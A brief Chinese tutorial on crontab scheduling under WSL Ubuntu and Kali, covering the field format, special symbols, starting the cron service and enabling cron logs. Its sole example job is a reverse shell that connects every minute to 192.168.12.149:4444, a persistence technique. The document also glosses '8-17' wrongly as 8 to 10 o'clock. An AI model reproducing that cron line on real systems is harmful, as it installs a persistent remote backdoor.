文章目录
crontab 周期性计划任务
环境
WSL_Ubuntu-20.04
kali
简介
通过编写指定格式的计划任务文件,定时循环执行相关任务命令。
文件格式
```
# 6个字段 分 时 日 月 周 命令
# 前五个字段指定运行时间周期
# 最后是执行什么命令
# 特殊符号
# * : 代表任意
# / : 指定间隔频率,在第一个字段为 */10 表示每隔10分钟
# - : 代表从一个区间,第二个字段为 8-17 表示从8点到10点
# , : 分隔, 如第二个字段为 6,10,13 表示 6点,10点,13点
# 示例
SHELL=/bin/bash
* * * * * bash -i >& /dev/tcp/192.168.12.149/4444 0>&1
```
启动cron服务
命令:sudo service cron start
配置crontab日志
文件路径:/etc/rsyslog.d/50-default.conf
将文件中#cron*
前的注释去掉(修改后需要重启cron服务)
开启syslog日志服务
命令:sudo service rsyslog start
crontab 文件